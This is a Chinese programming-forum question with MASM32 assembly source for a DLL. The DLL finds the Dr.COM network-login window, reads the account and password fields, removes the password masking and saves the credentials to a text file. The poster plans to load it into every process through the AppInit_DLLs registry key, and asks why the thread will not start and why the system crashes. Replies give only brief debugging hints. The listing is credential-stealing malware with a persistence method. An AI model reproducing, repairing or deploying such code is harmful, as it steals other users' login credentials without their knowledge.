首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 嵌入开发 > 汇编语言 >

CreateThread创建的线程为何无法正常运行?该怎么处理

2012-02-04 
CreateThread创建的线程为何无法正常运行?.386.modelflat,stdcalloptioncasemap:none

CreateThread创建的线程为何无法正常运行?
.386
.model   flat,   stdcall
option   casemap   :none
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;   Include   文件定义
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
includewindows.inc
includeuser32.inc
includelibuser32.lib
includekernel32.inc
includelibkernel32.lib
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;   #########################################################################

        szText   MACRO   Name,   Text:VARARG
            LOCAL   lbl
                jmp   lbl
                    Name   db   Text,0
                lbl:
            ENDM

        m2m   MACRO   M1,   M2
            push   M2
            pop     M1
        ENDM

        return   MACRO   arg
            mov   eax,   arg
            ret
        ENDM
;   #########################################################################
.data

szCaption       db         'szCaption ',0
szClaStat       db         'Static ',0
szClaEdit       db         'Edit ',0
szTitAcc         db         '用户帐号 ',0
szTitPsw         db         '     密   码   ',0
szLog               db         'DrcomPsw.txt ',0
szDestClass   db     '#32770 ',0;目标窗口的窗口类
szDrCaption   db         'Dr.COM   用户认证程序 ',0


.data?
hInstance       dd       ?
hdrcom         dd       ?
hEditAcc         dd           ?
hEditPsw         dd           ?
hFile               dd           ?
hFind               dd           ?
oldWndPrc       dd           ?
idTimer         dd       ?


szPsw               db           255   dup(?)
szAcc               db           255   dup(?)
ThreadID         DWORD     ?  

.const
szLogtxtdb '帐号:%s   ',0dh,0ah
db '密码:%s   ',0dh,0ah,0
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
.code
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;保存密码到DrcomPsw.txt文件
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_SavePassproc

                        local             @szBuffer[35]:byte,@dwBytesWrite

                        invoke           RtlZeroMemory,addr   @szBuffer,sizeof   @szBuffer  
        invoke           wsprintf,addr   @szBuffer,addr   szLogtxt,addr   szAcc,addr   szPsw
        invoke           CreateFile,addr   szLog,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
        mov                 hFile,eax
        invoke           WriteFile,hFile,addr   @szBuffer,35,addr   @dwBytesWrite,NULL
        invoke           CloseHandle,hFile

        xor                 eax,   eax
        ret
_SavePassendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;   得到登陆窗口中帐号和密码框的句柄
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_FoundDrocmproc_hWnd,_uMsg,_idEvent,_dwTime

                invokeFindWindow,addr   szDestClass,addr   szDrCaption
.ifeax
movhdrcom,eax
                .endif

                .if   hdrcom

                      invoke         FindWindowEx,hdrcom,NULL,addr   szClaStat,addr   szTitAcc


      .if   eax
              invoke       FindWindowEx,hdrcom,eax,addr   szClaEdit,NULL
                              mov         hEditAcc,eax
              invoke           SendMessage,   hEditAcc,   WM_GETTEXT,   255,   addr   szAcc
      .endif    

      invoke         FindWindowEx,hdrcom,NULL,addr   szClaStat,addr   szTitPsw
      .if   eax
              invoke       FindWindowEx,hdrcom,eax,addr   szClaEdit,NULL
              mov         hEditPsw,eax
              invoke       PostMessage,hEditPsw,EM_SETPASSWORDCHAR,0,0
              invoke       SendMessage,   hEditPsw,   WM_GETTEXT,   255,   addr   szPsw      
      .endif    

                .endif    

invoke           _SavePass

                xor                 eax,   eax
                ret

_FoundDrocmendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;   设置一个TIMER
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_FindDrocmproc

                invoke       SetTimer,NULL,NULL,100,addr   _FoundDrocm  
mov       idTimer,eax
                xor                 eax,   eax
                ret

_FindDrocmendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;   设置一个TIMER
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_Killtimerproc

                invokeKillTimer,NULL,idTimer
                xor                 eax,   eax


                ret

_Killtimerendp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_GetPsw   proc

;关键!!返回密码!(前提是密码必须放在共享段!)
        lea   eax,   szPsw
        ret
       
_GetPsw   endp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
_GetAcc   proc

;关键!!返回密码!(前提是帐户必须放在共享段!)
        lea   eax,   szAcc
        ret
       
_GetAcc   endp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
;   dll   的入口函数
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
DllEntryproc_hInstance,_dwReason,_dwReserved

                                push_hInstance
                pophInstance

szText   LmTitle, "tstdll 's   LibMain   Function "

                    .if   _dwReason   ==   DLL_PROCESS_ATTACH
                        szText   ATTACHPROCESS, "PROCESS_ATTACH "
        invoke       DisableThreadLibraryCalls,hInstance                        
        invoke       CreateThread,NULL,0,addr   _FindDrocm,0,0,addr   ThreadID
     
        mov             hFind,eax

                        return   TRUE
                        ;   -----------------------------
                        ;   If   error   at   startup,   return   0
                        ;   System   will   abort   loading   DLL
                        ;   -----------------------------

                .elseif   _dwReason   ==   DLL_PROCESS_DETACH


                        szText   DETACHPROCESS, "PROCESS_DETACH "
        .if   hFind
                              invoke       TerminateThread,hFind,0
                        .endif
                        invoke   MessageBox,NULL,addr   DETACHPROCESS,addr   LmTitle,MB_OK

                .elseif   _dwReason   ==   DLL_THREAD_ATTACH
                        szText   ATTACHTHREAD, "THREAD_ATTACH "
                        invoke   MessageBox,NULL,addr   ATTACHTHREAD,addr   LmTitle,MB_OK

                .elseif   _dwReason   ==   DLL_THREAD_DETACH
                        szText   DETACHTHREAD, "THREAD_DETACH "
                        invoke   MessageBox,NULL,addr   DETACHTHREAD,addr   LmTitle,MB_OK
                       
                .endif

moveax,TRUE
ret

DllEntryEndp
;> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
EndDllEntry

我本意是写一个DLL,然后添加到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows   NT\CurrentVersion\Windows] "AppInit_DLLs "里。
可是添加进去就蓝屏。
另外CreateThread创建的线程总是无法运行。真晕了。如果用一个程序调用   _FindDrocm就可以。


[解决办法]
自己远程单步调试一下
[解决办法]
OS蓝屏么?分析一下崩溃转储
[解决办法]
_beginthreadex
[解决办法]
RemoteDebugging, Load Symbols

热点排行